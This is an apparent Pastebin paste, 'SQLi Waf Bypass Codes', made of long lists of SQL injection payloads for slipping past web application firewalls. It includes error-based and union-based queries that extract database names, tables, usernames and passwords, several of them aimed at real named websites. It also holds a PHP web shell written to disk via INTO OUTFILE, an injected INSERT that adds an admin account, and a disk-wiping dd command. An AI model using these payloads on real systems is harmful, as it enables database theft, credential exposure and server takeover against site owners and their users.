Advertisement
Guest User

SQLi Waf Bypass Codes

a guest
Nov 28th, 2014
1,321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.75 KB | None | 0 0
  1. SQLI Injction WAF Bypass Methods With Details
  2.  
  3.  
  4. --'- : +--+ / : -- - : --+- : /*
  5. ) order by 1-- -
  6. ') order by 1-- -
  7. ')order by 1%23%23
  8. %')order by 1%23%23
  9. Null' order by 100--+
  10. Null' order by 9999--+
  11. ')group by 99-- -
  12. 'group by 119449-- -
  13. 'group/**/by/**/99%23%23
  14. union select ByPassing method
  15. +union+distinct+select+
  16. +union+distinctROW+select+
  17. /**//*!12345UNION SELECT*//**/
  18. /**//*!50000UNION SELECT*//**/
  19. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  20. +/*!u%6eion*/+/*!se%6cect*/+
  21. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  22. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  23. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  24. union /*!50000%53elect*/
  25. %55nion %53elect
  26. +--+Union+--+Select+--+
  27. +UnIoN/*&a=*/SeLeCT/*&a=*/
  28. id=1+’UnI”On’+'SeL”ECT’
  29. id=1+'UnI'||'on'+SeLeCT'
  30. UnIoN SeLeCt CoNcAt(version())--
  31. uNiOn aLl sElEcT
  32. uUNIONnion all sSELECTelect
  33. ================================================================================​===================================================
  34. :: Buffer Overflow ::
  35. ================================================================================​===================================================
  36. +And(select 1)=(select 0×414)+union+select+1–
  37. +And(select 1)=(select 0xAAAA)+union+select+1–
  38. +And(select
  39. 1)=(select
  40. 0×4141414141414141414141414141414141414141414141414141414141414141414141414
  41.  
  42. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  43.  
  44. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  45.  
  46. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  47.  
  48. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  49.  
  50. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  51.  
  52. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  53.  
  54. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  55.  
  56. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  57. 1414141)+
  58. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  59. ================================================================================​==================================================
  60. :: 400 Bad Request ::
  61. ================================================================================​==================================================
  62. –+%0A
  63. union+select+1–+%0A,2–+%0A,3–+%0A,4–+%0A,5–+%0A –
  64. ================================================================================​==================================================
  65. null the parameter
  66. ================================================================================​==================================================
  67. id=-1
  68. id=null
  69. id=1+and+false+
  70. id=9999
  71. id=1 and 0
  72. id==1
  73. id=(-1)
  74. ================================================================================​=======================================================
  75. Group_Concat
  76. ================================================================================​=======================================================
  77. Group_Concat
  78. group_concat()
  79. /*!group_concat*/()
  80. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  81. group_concat(,0x3c62723e)
  82. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29
  83. CoNcAt()
  84. CONCAT(DISTINCT Version())
  85. concat(,0x3a,)
  86. concat%00()
  87. %00CoNcAt()
  88. /*!50000cOnCat*/(/*!Version()*/)
  89. /*!50000cOnCat*/
  90. /**//*!12345cOnCat*/(,0x3a,)
  91. concat_ws()
  92. concat(0x3a,,0x3c62723e)
  93. /*!concat_ws(0x3a,)*/
  94. concat_ws(0x3a3a3a,version()
  95. CONCAT_WS(CHAR(32,58,32),version(),)
  96. REVERSE(tacnoc)
  97. binary(version())
  98. uncompress(compress(version()))
  99. aes_decrypt(aes_encrypt(version(),1),1)
  100. ================================================================================​====================================================
  101. To appear column numbr in page put after id
  102. ================================================================================​====================================================
  103. id=1+and+1=0+union+select+1,2,3,4,5,6
  104. +AND+1=0
  105. /*!aND*/ 1 like 0
  106. +/*!and*/+1=0
  107. +and+2>3+
  108. +and(1)=(0)
  109. and (1)!=(0)
  110. +div+0
  111. Having+1=0
  112. ================================================================================​===================================================
  113. function ByPassing
  114. ================================================================================​===================================================
  115. unhex(hex(value))
  116. cast(value as char)
  117. uncompress(compress(version()))
  118. cast(version() as char)
  119. aes_decrypt(aes_encrypt(version(),1),1)
  120. binary(version())
  121. convert(value using ascii)
  122. ================================================================================​===================================================
  123. avoid source page injection
  124. ================================================================================​===================================================
  125. concat(?”>,
  126. ,@@version,?
  127. “>
  128. ?
  129. injection
  130. concat(0x223e,@@version)
  131. concat(0x273e27,version(),0x3c212d2d)
  132. concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
  133. concat(0x223e,@@version,0x3c696d67207372633d22)
  134. concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)
  135. concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
  136. concat(‘’,@@version,’’)
  137. concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)
  138. concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)
  139. ================================================================================​===================================================
  140. get version – DB_NAME – user – HOST_NAME – datadir
  141. ================================================================================​===================================================
  142. version()
  143. convert(version() using latin1)
  144. unhex(hex(version()))
  145. @@GLOBAL.VERSION
  146. (substr(@@version,1,1)=5) :: 1 true 0 fals
  147. # like #
  148. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5 –
  149. ================================================================================​==================================================
  150. +and substring(version(),1,1)=4
  151. +and substring(version(),1,1)=5
  152. +and substring(version(),1,1)=9
  153. +and substring(version(),1,1)=10
  154. id=1 /*!50094aaaa*/ error
  155. id=1 /*!50095aaaa*/ no error
  156. id=1 /*!50096aaaa*/ error
  157. # like # http://www.marinaplast.com/page.php?id=13 /*!50095aaaa*/
  158. id=1 /*!40123 1=1*/–+- no error
  159. id=1 /*!40122rrrr*/ no error
  160. # like # http://www.marinaplast.com/page.php?id=13 /*!40122rrrr*/ error not v4
  161. ================================================================================​=================================================
  162. DB_NAME()
  163. ================================================================================​=================================================
  164. @@database
  165. database()
  166. id=vv()
  167. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,DB_NAME(),4,5 –
  168. http://www.marinaplast.com/page.php?id=vv()
  169. @@user
  170. user()
  171. user_name()
  172. system_user()
  173. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5 –
  174. HOST_NAME()
  175. @@hostname
  176. @@servername
  177. SERVERPROPERTY()
  178. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,HOST_NAME(),4,5 –
  179. @@datadir
  180. datadir()
  181. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,datadir(),4,5 –
  182. ASPX
  183. and 1=0/@@version
  184. ‘ and 1=0/@@version;–
  185. ‘) and 1=@@version–
  186. and 1=0/user;–
  187. Requested method
  188. [DUMP DB in 1 Request]
  189. (select
  190. (@) from (select(@:=0×00),(select (@) from (information_schema.columns)
  191. where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [
  192. ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)
  193. (select(@) from (select (@:=0×00),(select (@) from (table) where (@) in (@:=concat(@,0x0a,column1,0x3a,column2))))a)
  194. ================================================================================​===================================================
  195. [DUMP DB in 1 Request improve]
  196. ================================================================================​===================================================
  197. (select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)where​(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=concat(@x,​0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)
  198. like
  199. http://www.marinaplast.com/page.php?id=-13
  200. union select
  201. 1,2,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.colu
  202.  
  203. mns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=c​
  204.  
  205. oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5
  206. ================================================================================​===================================================
  207. #2#
  208. ================================================================================​===================================================
  209. method like DUMP DB in 1 Request
  210. ================================================================================​===================================================
  211. concat(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT(
  212. @o,0xd0a,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM
  213. information_schema.tables WHERE table_name>@i order by table_name
  214. LIMIT 1)))
  215. like
  216. http://www.mishnetorah.com/shop/details.php?id=-26+union+select+1,2,3,concat(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT(@o,0xd0a​
  217. ,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM
  218. information_schema.tables WHERE table_name>@i order by table_name
  219. LIMIT 1))),@o),5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21
  220. ================================================================================​===================================================
  221. #3#
  222. ================================================================================​===================================================
  223. databases
  224. (select+count(schema_name) +from+information_schema.schemata)
  225. # like #
  226. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(schema_name) +from+information_schema.schemata),4,5 –
  227. tables
  228. (select+count(table_name) +from+information_schema.tables)
  229. # like #
  230. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(table_name) +from+information_schema.tables),4,5 –
  231. columns
  232. (select+count(column_name) +from+information_schema.columns)
  233. # like #
  234. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(column_name) +from+information_schema.columns),4,5 –
  235. ================================================================================​===================================================
  236. #4#
  237. ================================================================================​===================================================
  238. show the table with all her columns
  239. CONCAT(table_name,0x3e,GROUP_CONCAT(column_name))
  240. +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1–+
  241. like
  242. http://www.marinaplast.com/page.php?id=-13
  243. union select 1,2,CONCAT(table_name,0x3e,GROUP_CONCAT(column_name)),4,5
  244. +FROM information_schema.columns WHERE table_schema=database() GROUP BY
  245. table_name LIMIT 0,1–+
  246. ================================================================================​===================================================
  247. #5#WWWWWWWWWWWAAAAAAAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  248. ================================================================================​===================================================
  249. feltered requested
  250. # tables #
  251. group_concat(/*!table_name*/)
  252. +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -
  253. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -
  254. /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
  255. ================================================================================​===================================================
  256. # columns #
  257. ================================================================================​===================================================
  258. group_concat(/*!column_name*/)
  259. +/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table
  260. /*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  261. /*!froM*/ table– -
  262. ================================================================================​===================================================
  263. #6#
  264. ================================================================================​===================================================
  265. bypass method
  266. (select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA())
  267. (select+group_concat(/*!column_name*/)+/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table)
  268. like
  269. http://www.marinaplast.com/page.php?id=-13
  270. union select
  271. 1,2,(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()),4,5
  272. ================================================================================​===================================================
  273. #7#
  274. ================================================================================​===================================================
  275. bypass method
  276. unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
  277. /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
  278. like
  279. http://www.marinaplast.com/page.php?id=-13
  280. union select
  281. 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5
  282.  
  283. /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)–
  284. ================================================================================​===================================================
  285. [+] Union Select:
  286. ================================================================================​===================================================
  287. union /*!select*/+
  288. union/**/select/**/
  289. /**/union/**/select/**/
  290. /**/union/*!50000select*/
  291. /**//*!12345UNION SELECT*//**/
  292. /**//*!50000UNION SELECT*//**/
  293. /**/uniUNIONon/**/selSELECTect/**/
  294. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  295. /**//*!union*//**//*!select*//**/
  296. /**/UNunionION/**/SELselectECT/**/
  297. /**//*UnIOn*//**//*SEleCt*//**/
  298. /**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  299. /**/UNunionION/**/all/**/SELselectECT/**/
  300. /**//*UnIOn*//**/all/**//*SEleCt*//**/
  301. /**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  302. uni
  303. %20union%20/*!select*/%20
  304. union%23aa%0Aselect
  305. union+distinct+select+
  306. union+distinctROW+select+
  307. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  308. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  309. %23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
  310. /*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  311. /*!u%6eion*/+/*!se%6cect*/+
  312. 1%’)and(0)union(select(1),version(),3,4,5,6)%23%23%23
  313. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  314. union /*!50000%53elect*/
  315. +%2F**/+Union/*!select*/
  316. %55nion %53elect
  317. +–+Union+–+Select+–+
  318. +UnIoN/*&a=*/SeLeCT/*&a=*/
  319. uNiOn aLl sElEcT
  320. uUNIONnion all sSELECTelect
  321. union(select(1),2,3)
  322. union (select 1111,2222,3333)
  323. union (/*!/**/ SeleCT */ 11)
  324. %0A%09UNION%0CSELECT%10NULL%
  325. /*!union*//*–*//*!all*//*–*//*!select*/
  326. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  327. union+sel%0bect
  328. +uni*on+sel*ect+
  329. +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
  330. union(select (1),(2),(3),(4),(5))
  331. UNION(SELECT(column)FROM(table))
  332. id=1+’UnI”On’+’SeL”ECT’
  333. id=1+’UnI’||’on’+SeLeCT’
  334. union select 1–+%0A,2–+%0A,3–+%0A etc ….
  335. ================================================================================​===================================================
  336. [+] Buffer overflow:
  337. ================================================================================​===================================================
  338. +And(select 1)=(select 0×414)+union+select+1–
  339. +And(select 1)=(select 0xAAAA)+union+select+1–
  340. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  341. +and (/*!select*/ 1)=(/*!select*/ 0×414)+
  342. +And(select
  343. 1)=(select
  344. 0×4141414141414141414141414141414141414141414141414141414141414141414141414?1414​
  345.  
  346. 14141414141414141414141414141414141414141414141414141414141414141414141414141414​
  347.  
  348. 1414141414141414141414141414141414141414141414141414141414141414141414141414?141​
  349.  
  350. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  351.  
  352. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  353.  
  354. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  355.  
  356. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  357.  
  358. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  359.  
  360. 41414141414141414141414141414141414141414141414141414141414141414141414141414141​
  361. 4141)+
  362. ================================================================================​===================================================
  363. [+] Group Concat:
  364. ================================================================================​===================================================
  365. Group_Concat
  366. group_concat()
  367. /*!group_concat*/()
  368. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  369. group_concat(,0x3c62723e)
  370. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22testtest%22%29
  371. CoNcAt()
  372. CONCAT(DISTINCT Version())
  373. concat(,0x3a,)
  374. concat%00()
  375. %00CoNcAt()
  376. /*!50000cOnCat*/(/*!Version()*/)
  377. /*!50000cOnCat*/
  378. /**//*!12345cOnCat*/(,0x3a,)
  379. concat_ws()
  380. concat(0x3a,,0x3c62723e)
  381. /*!concat_ws(0x3a,)*/
  382. concat_ws(0x3a3a3a,version()
  383. CONCAT_WS(CHAR(32,58,32),version(),)
  384. ================================================================================​===================================================
  385. ERORE BASED
  386. ================================================================================​===================================================
  387. =21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1–
  388. Database
  389. 21
  390. and (select 1 from (select count(*),concat((select(select
  391. concat(cast(database() as char),0x7e)) from information_schema.tables
  392. where table_schema=database() limit 0,1),floor(rand(0)*2))x from
  393. information_schema.tables group by x)a)
  394. Table_name
  395. and
  396. (select 1 from (select count(*),concat((select(select
  397. concat(cast(table_name as char),0x7e)) from information_schema.tables
  398. where table_schema=database() limit 19,1),floor(rand(0)*2))x from
  399. information_schema.tables group by x)a)
  400. Columns
  401. 21
  402. and (select 1 from (select count(*),concat((select(select
  403. concat(cast(column_name as char),0x7e)) from information_schema.columns
  404. where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from
  405. information_schema.tables group by x)a)
  406. extract date
  407. http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21
  408. and (select 1 from (select count(*),concat((select(select
  409. concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from
  410. iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from
  411. information_schema.tables group by x)a)
  412. Notice the limit function in the query
  413. A website can have more than 2 two databases, so increase the limit until you find all database names
  414. Example: limit 0,1 or limit 1,1 or limit 2,1
  415. ================================================================================​===================================================
  416. Differences:
  417. Error Based Query for Database Extraction:
  418. ================================================================================​===================================================
  419. and
  420. (select 1 from (select count(*),concat((select(select
  421. concat(cast(database() as char),0x7e)) from information_schema.tables
  422. where table_schema=database() limit 0,1),floor(rand(0)*2))x from
  423. information_schema.tables group by x)a)
  424. Double Query for Database Extraction:
  425. and(select
  426. 1 from(select count(*),concat((select (select
  427. concat(0x7e,0×27,cast(database() as char),0×27,0x7e)) from
  428. information_schema.tables limit 0,1),floor(rand(0)*2))x from
  429. information_schema.tables group by x)a) and 1=1
  430. and(select 1 from(select count(*),concat((select (select (SELECT distinct
  431. concat(0x7e,0×27,cast(schema_name as char),0×27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
  432. information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
  433. and(select 1 from(select count(*),concat((select (select (SELECT distinct
  434. concat(0x7e,0×27,cast(table_name as char),0×27,0x7e) FROM information_schema.tables Where
  435. table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
  436. information_schema.tables group by x)a) and 1
  437. ================================================================================​===================================================
  438. WUBI +and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from​+iw_users+limit+0,1)))–+
  439. ================================================================================​===================================================
  440. Descarci orice linux live, bootezi dupa el si formatezi cu dd+urandom. De acolo nu mai recupereaza NIMENI ceva.
  441. Code: dd if=/dev/urandom of=/dev/sda bs=1M
  442. I’d say using concat(0xY)
  443. Y being ‘’ in hex
  444. union select concat(version,0x3c7363726970743e616c6572742827706833776c27293c2f7363726970743e)​
  445. http://zerocoolhf.altervista.org/level2.php?id=-1%27%20union%20select%20*%20from%28%28select%201%29a%20join%20%28select%20versio​n%28%29%29b%20join%20%28select%20database%28%29%29c%29–+
  446. union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=concat(’0x’, hex(‘users’)
  447. =113′+and+0+union+select+1,(SELECT
  448. (@) FROM (SELECT(@:=0×00),(SELECT (@) FROM (information_schema.columns)
  449. WHERE (table_schema>=@) AND (@)IN
  450. (@:=CONCAT(@,0x3C7363726970743E616C6572742827,’ [ ',table_schema,' ]
  451. >’,table_name,’ >
  452. ‘,column_name,0x27293B3C2F7363726970743E))))x),3–+–
  453. injection in sql database addd new user
  454. INSERT INTO admins (`name`,`password`,`email`) VALUES (‘unix’,'unixunix’,'unix_chro@yahoo.com’)
  455. +and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_nam​
  456.  
  457. e+as+char),0x7e))+from+information_schema.tables+where+table_schema=0xDATABASEHE​
  458.  
  459. X+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  460. CHALLENGES
  461. Code:
  462. =(13)and(0)union(select(1),group_concat(column_name,0x3c62723e),(3)from(informat​ion_schema.columns)where(table_schema=database())and(table_name=0×73656375726974​79))–+-
  463. =12+and+false/*!union*/
  464.  
  465. /*!select*/1,group_concat(0x3c62723e,/*!TabLe_NaMe*/),2,concat(user(),0x2a,database(),0x2a,version()),13,0x3c666f6e7420636f6c6f723d6​26c75653e3c68323e706833776c,15
  466. from information_schema.tables where
  467. table_schema=0x66616272697a696f5f636572697070 LiMit 0,1–
  468. =/*!uNiOn*/ /*!SeLeCt*/ 1,concat(/*!version(),0x3a,0x3a,AdMinLoGiN,0x3a,0x3a*/),3 /*!fRoM*/ security–
  469. =121)+and(0)+/*!uNion*/+/*!seleCt*/+1,2,3,4,version(),6,7– -
  470. =121)/**/and false UNION(SELECT 1,2,3,4,5,6,7)–+-
  471. =121 div 0 ) /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,version()# |
  472. null’+union+select+1,2,count(schema_name),4,5+from+information_schema.schemata– x
  473. ================================================================================​===================================================
  474. Error Based:
  475. ================================================================================​===================================================
  476. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–
  477. or 1 group by concat(0x3a,(select substr(group_concat(username,0x3a,password),1,150)
  478. from rmdsz_user),floor(rand(0)*2)) having min(0) or 1– -
  479. or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 — -
  480. and
  481. (select 1 from (select count(*),concat((select(select
  482. concat(cast(database() as char),0x7e)) from information_schema.tables
  483. where table_schema=database() limit 0,1),floor(rand(0)*2))x from
  484. information_schema.tables group by x)a)
  485. +AND(SELECT
  486. COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by
  487. CONCAT((SELECT version() FROM information_schema.tables LIMIT
  488. 0,1),FLOOR(RAND(0)*2)))
  489. +and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+​
  490.  
  491. 3)x+group+by+concat(mid((select+concat_ws(0x7e,version(),0x7e)+from+information_​
  492. schema.tables+limit+0,1),1,25),floor(rand(0)*2)))a)– x
  493. or 1=convert(int,(@@version))-
  494. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–
  495. +and+(select+1+from+(select+count(*),concat((select(select+concat(c
  496.  
  497. ast(count(schema_name)+as+char),0x7e))+from+information_schema.schemata+limit+0,​
  498. 1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  499. (42)and(0)union(select(1),2,version(),4,5,0x3c623e3c666f6e7420636f6c6f723d626c75​653e706833776c,7,8,9,(10))–+-
  500. ================================================================================​===================================================
  501. WAF BYPASS BY TOTTI
  502. ================================================================================​===================================================
  503. =-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_nam
  504.  
  505. e)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())–
  506. -
  507. =2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name)
  508. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/
  509. /*!TaBle_ScHEmA*/=database()– -
  510. ================================================================================​===================================================
  511. WUBI
  512. 1,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)whe​re(table_schema!=0×69)and(0×00)in(@x:=concat(@x,0x3c62723e,table_schema,0x202020​3d3e3e202020,table_name,0x20203a3a3a32020,column_name))))x),3,4–
  513. (select
  514. (@) from (select(@:=0×00),(select (@) from (information_schema.columns)
  515. where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [
  516. ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)
  517. (select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  518. (select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  519. ================================================================================​===================================================
  520. +and+1=convert(int,SERVERPROPERTY(‘ProductVersion’))
  521. ================================================================================​===================================================
  522. http://zerofreak.blogspot.it/2012/02/tutorial-by-zer0freak-zer0freak-sqli.html
  523. http://www.websec.ca/kb/sql_injection
  524. http://www.hellboundhackers.org/articles/862-mysql-injection-complete-tutorial.html
  525. ================================================================================​===================================================
  526. test
  527. http://www.mt.ro/nou/articol.php?id=-angajari’+and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,passw​ord)+from+iw_users+limit+0,1)))–+
  528. …………………………………..
  529. http://www.mt.ro/nou/articol.php?id=-angajari’
  530. and (select 1 from (select count(*),concat((select(select
  531. concat(cast(table_name as char),0x7e)) from information_schema.tables
  532. where table_schema=0x64625f6d74 limit 10,1),floor(rand(0)*2))x from
  533. information_schema.tables group by x)a)–+
  534. SELECT “ system($_REQUEST['cmd']); ?>”
  535. INTO OUTFILE “full/path/here/cmd.php”
  536.  
  537.  
  538.  
  539.  
  540. ------------Best Bypass WAF------------
  541. ========================
  542. [~] order by [~]
  543. /**/ORDER/**/BY/**/
  544. /*!order*/+/*!by*/
  545. /*!ORDER BY*/
  546. /*!50000ORDER BY*/
  547. /*!50000ORDER*//**//*!50000BY*/
  548. /*!12345ORDER*/+/*!BY*/
  549. [~] UNION select [~]
  550. /*!00000Union*/ /*!00000Select*/
  551. /*!50000%55nIoN*/ /*!50000%53eLeCt*/
  552. %55nion %53elect
  553. %55nion(%53elect 1,2,3)-- -
  554. +union+distinct+select+
  555. +union+distinctROW+select+
  556. /**//*!12345UNION SELECT*//**/
  557. /**//*!50000UNION SELECT*//**/
  558. /**/UNION/**//*!50000SELECT*//**/
  559. /*!50000UniON SeLeCt*/
  560. union /*!50000%53elect*/
  561. + #?uNiOn + #?sEleCt
  562. + #?1q %0AuNiOn all#qa%0A#%0AsEleCt
  563. /*!%55NiOn*/ /*!%53eLEct*/
  564. /*!u%6eion*/ /*!se%6cect*/
  565. +un/**/ion+se/**/lect
  566. uni%0bon+se%0blect
  567. %2f**%2funion%2f**%2fselect
  568. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  569. REVERSE(noinu)+REVERSE(tceles)
  570. /*--*/union/*--*/select/*--*/
  571. union (/*!/**/ SeleCT */ 1,2,3)
  572. /*!union*/+/*!select*/
  573. union+/*!select*/
  574. /**/union/**/select/**/
  575. /**/uNIon/**/sEleCt/**/
  576. +%2F**/+Union/*!select*/
  577. /**//*!union*//**//*!select*//**/
  578. /*!uNIOn*/ /*!SelECt*/
  579. +union+distinct+select+
  580. +union+distinctROW+select+
  581. uNiOn aLl sElEcT
  582. UNIunionON+SELselectECT
  583. /**/union/*!50000select*//**/
  584. 0%a0union%a0select%09
  585. %0Aunion%0Aselect%0A
  586. %55nion/**/%53elect
  587. uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  588. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  589. %0A%09UNION%0CSELECT%10NULL%
  590. /*!union*//*--*//*!all*//*--*//*!select*/
  591. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  592. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  593. +UnIoN/*&a=*/SeLeCT/*&a=*/
  594. union+sel%0bect
  595. +uni*on+sel*ect+
  596. +#1q%0Aunion all#qa%0A#%0Aselect
  597. union(select (1),(2),(3),(4),(5))
  598. UNION(SELECT(column)FROM(table))
  599. %23xyz%0AUnIOn%23xyz%0ASeLecT+
  600. %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
  601. union(select(1),2,3)
  602. union (select 1111,2222,3333)
  603. uNioN (/*!/**/ SeleCT */ 11)
  604. union (select 1111,2222,3333)
  605. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  606. /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
  607. %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
  608. +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
  609. +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  610. /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
  611. +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
  612. /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
  613. /union\sselect/g
  614. /union\s+select/i
  615. /*!UnIoN*/SeLeCT
  616. +UnIoN/*&a=*/SeLeCT/*&a=*/
  617. +uni>on+sel>ect+
  618. +(UnIoN)+(SelECT)+
  619. +(UnI)(oN)+(SeL)(EcT)
  620. +’UnI”On’+'SeL”ECT’
  621. +uni on+sel ect+
  622. +/*!UnIoN*/+/*!SeLeCt*/+
  623. /*!u%6eion*/ /*!se%6cect*/
  624. uni%20union%20/*!select*/%20
  625. union%23aa%0Aselect
  626. /**/union/*!50000select*/
  627. /^.*union.*$/ /^.*select.*$/
  628. /*union*/union/*select*/select+
  629. /*uni X on*/union/*sel X ect*/
  630. +un/**/ion+sel/**/ect+
  631. +UnIOn%0d%0aSeleCt%0d%0a
